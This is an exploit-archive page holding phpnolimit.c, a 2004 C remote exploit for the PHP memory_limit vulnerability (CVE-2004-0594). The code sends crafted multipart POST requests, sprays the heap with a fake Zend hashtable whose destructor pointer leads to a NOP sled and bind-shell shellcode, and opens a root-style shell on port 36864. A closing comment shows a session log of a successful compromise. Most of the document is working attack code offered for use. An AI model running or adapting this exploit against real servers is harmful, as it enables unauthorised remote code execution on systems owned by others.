what you don't know can hurt you

phpnolimit.c

phpnolimit.c
Posted Dec 11, 2004
Authored by Gyan Chawdhary

Exploit that makes use of the PHP memory limit vulnerability discovered in July of 2004.

tags | exploit, php
advisories | CVE-2004-0594
MD5 | 7aadceaf9298a2f92f0e123e7baaf4af

phpnolimit.c

Change Mirror Download
/* Remote exploit for the php memory_limit vulnerability found by Stefan 
* Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
*
* by Gyan Chawdhary (gunnu45@hotmail.com)
* (felinemenace.org/~gyan)
*
* Greets
* S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
* scrippie, gera, riq, jaguar, girish, n2n ...
*
* Vulnerability:
* The issue is well documented in the advisory.
*
* Exploitation:
* I cud not find a generic way to free a 40 byte chunk which could be later
* used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
* which will be sent in the first request. The second request will kick in the
* memory interuption after allocating space for the hashtable and before it is
* initalized. The memory it will use for this allocation will contain the data
* from our previous request which includes the pDestructor pointer pointing to
* our nop+shellcode which is a part of the second request. This happens in the
* zend_hash_destory function.
*
* PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
* for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
* Apache 2.0.49 with register_globals = On
*
* Gyan
*
*
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=------------ \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n";

char request2[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"\r\n"
"-----------------------------264122487026375--\r\n";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"-----------------------------264122487026375--\r\n";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";


void xp_connect(char *ip)
{
char buffer[1024];
char temp[1024];
int tmp;

s.sin_family = AF_INET;
s.sin_port = htons(PORT);
s.sin_addr.s_addr = inet_addr(ip);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Cannot create socket\n");
exit(-1);
}

if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
{
printf("Cannot connect()\n");
exit(-1);
}
}

void xp_write(char *data)
{

if(write (sock, data, strlen(data)) < 0)
{
printf("write() failed\n");
exit(-1);
}
}

void xp_receive()
{
int tmp;
char buffer[1024*2];

if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
{
printf("read() failed\n");
exit(-1);
}
}

char fill[] = " \r\n %s \r\n ";

/*This function builds the main request. In destroy_uploaded_files_hash we
* need to pass zend_hash_apply to reach zend_hash_destroy.
* We set
* 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
* 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
* 3) ht->pDestructor = addr to nop+shellcode
* 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp
* 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi)
* 0x402c22c2 <zend_hash_destroy+190>: call *%eax
* 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp
*
* $eax = ht->pDestructor
*/

void build1(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
int pot = 0xffffffff;
int got = 0x41414141;
int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
int sot = 0x02020202;
int ret = 0x081887a8;

b1 = (char *)malloc(size-8);
p1 = b1;

for (i=0; i<size-8; i+=36)
{
*( (int **)p1 ) = (int *)( pot );
p1+=4;
*( (int **)p1 ) = (int *)( got );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( ret );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( got );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( sot );
p1+=4;
}

b2 = (char *)malloc(size+1);
p2 = b2;

sprintf(p2, fill, b1);

for(i=0; i<count; i++)
xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with
* php_normalize_heap function */
void build2(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
b1 = (char *)malloc(size-8);
p1 = b1;
memset(p1, '\x42', size-8);
b2 = (char *)malloc(size+1);
p2 = b2;
sprintf(p2, fill, b1);
for(i=0; i<count; i++)
xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
int pot = 0x90909090;

b1 = (char *)malloc(size-8);
p1 = b1;

for (i=0; i<size-8-strlen(shell); i+=4) {
*( (int **)p1 ) = (int *)( pot );
p1+=4;
}
p1 = b1;

p1+= size - 8 - strlen(shell);
strncpy(p1, shell, strlen(shell));

b2 = (char *)malloc(size+1);
p2 = b2;

sprintf(p2, fill, b1);

for(i=0; i<count; i++)
xp_write(b2);
}



void exploit()
{

int i;

printf("Stage 1: Filling mem with bad pdestructor ... ");
for (i=0; i< 5; i++)
{
xp_connect(IP);
xp_write(request1);
build1(5000, 1);
xp_write(request2);
close(sock);
}
printf("DONE\r\n");
printf("Stage 2: Triggering memory_limit now ... ");

xp_connect(IP);
xp_write(request3);
build3(8192, 255);
build3(7265, 1);
xp_write(request4);
printf("DONE\r\n");
printf("Shell on port 36864\r\n");

}

main()
{
/*No args, no vectors*/
exploit();
}

/*
* Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
*trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
*
*
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/

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